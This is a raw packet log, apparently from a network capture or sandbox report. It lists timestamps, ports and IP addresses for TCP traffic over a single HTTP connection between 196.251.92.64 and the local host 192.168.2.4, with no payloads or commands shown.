Feb 18, 2025 08:14:24.838965893 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.838977098 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.839020967 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.839117050 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.839123011 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.839133978 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.839139938 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.839145899 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.839164019 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.839306116 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.923405886 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.923547029 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.951220036 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.951229095 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.951241016 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.951246977 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.951255083 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.951344967 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.951358080 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.951370001 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.951374054 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.951380014 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.951385975 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.951390982 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.951400042 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.951405048 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.951406002 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.951406002 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.951411963 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.951420069 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.951432943 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.951453924 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.951498985 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.951507092 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.951524019 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.951653957 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.951659918 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.951672077 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.951678991 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.951680899 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.951703072 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.951730013 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.951819897 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.951827049 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.951955080 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.952153921 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.952301979 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.952307940 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.952320099 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.952325106 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.952327967 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.952331066 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.952337027 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.952348948 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.952384949 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.952500105 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.952507019 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.952517033 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.952522993 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.952553034 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.952579021 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.964726925 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.964809895 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.964884043 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.964912891 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.964919090 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.965018988 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.965018988 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.965054989 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.965060949 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.965071917 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.965106010 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.965218067 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.965224028 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.965234995 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.965240002 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.965246916 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.965265036 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.965286970 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.965404987 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.965410948 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.965423107 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.965547085 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.965579987 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.965729952 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.965735912 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.965747118 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.965751886 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.965754032 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.965759039 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.965770960 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.965779066 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.965805054 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.965908051 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.965914011 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.965920925 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.965930939 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:24.965949059 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:24.965981007 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.070585966 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.070595026 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.070607901 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.070699930 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.070703030 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.070707083 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.070718050 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.070871115 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.070871115 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.070874929 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.070889950 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.070899963 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.070907116 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.070913076 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.070919991 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.070930958 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.070960999 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.071048021 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.071054935 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.071065903 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.071228981 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.071400881 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.071526051 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.071563959 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.071571112 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.071588993 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.071594000 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.071613073 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.071715117 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.071732998 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.071738958 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.071748972 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.071755886 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.071763039 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.071780920 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.071803093 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.072218895 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.072230101 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.072237015 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.072280884 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.072369099 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.072423935 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.072586060 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.072592020 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.072602987 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.072608948 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.072665930 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.072665930 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.072731018 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.072737932 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.072748899 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.072774887 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.072910070 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.072916031 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.072926044 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.072932959 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.072940111 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.072952986 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.072957993 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.072985888 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.073051929 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.073110104 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.073441982 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.084247112 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.084286928 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.084297895 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.084362030 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.084362984 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.084369898 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.084429026 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.084435940 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.084455013 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.084461927 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.084484100 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.084639072 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.084645987 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.084657907 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.084664106 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.084666014 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.084670067 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.084681988 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.084690094 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.084749937 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.084755898 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.084767103 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.084773064 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.084775925 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.084778070 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.084796906 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.085239887 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.085247040 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.085257053 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.085266113 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.085278988 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.085284948 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.085297108 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.086508989 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.091151953 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.091157913 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.091170073 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.091223001 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.091289997 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.091295004 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.091306925 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.091319084 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.091326952 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.091367006 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.091367006 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.091401100 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.091408014 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.091419935 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.091425896 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.091432095 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.091449022 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.091475010 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.190073013 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.190080881 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.190093994 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.190196037 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.190201998 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.190207958 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.190303087 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.190303087 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.190303087 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.190346003 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.190351963 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.190505981 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.190651894 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.190677881 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.190685987 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.190690041 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.190697908 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.190709114 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.190716028 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.190718889 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.190721989 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.190730095 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.190741062 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.190748930 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.190774918 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.191087008 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.191093922 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.191104889 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.191148996 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.191231012 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.191236973 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.191242933 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.191255093 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.191274881 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.191318989 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.191390038 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.191395998 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.191724062 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.191735983 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.191736937 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.191745996 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.191751003 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.191771030 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.191873074 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.191879034 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.191888094 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.191891909 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.191922903 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.192068100 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.192074060 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.192085981 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.192091942 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.192096949 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.192109108 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.192115068 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.192126989 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.192157984 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.192157984 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.192663908 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.192670107 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.192682028 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.192715883 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.192835093 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.192841053 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.192852020 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.192857981 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.192948103 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.192982912 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.193054914 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.193137884 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.193145037 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.193155050 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.193159103 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.193161011 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.193166971 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.193176985 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.193181992 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.193216085 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.204041958 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.204199076 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.204205990 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.204205990 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.204236031 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.204242945 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.204354048 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.204360008 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.204360962 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.204360962 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.204360962 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.204368114 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.204374075 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.204385996 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.204400063 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.204411030 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.204530001 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.204535007 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.204540968 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.204541922 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.204569101 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.204592943 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.204704046 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.204710007 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.204715014 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.204869032 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.204874039 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.204891920 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.204895973 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.204898119 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.204910040 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.204917908 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.204937935 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.205044031 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.205050945 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.205061913 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.205066919 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.205089092 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.205117941 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.205219984 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.205225945 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.205236912 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.205245018 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.205683947 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.218590021 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.218714952 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.218743086 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.218755007 CET	80	49731	196.251.92.64	192.168.2.4
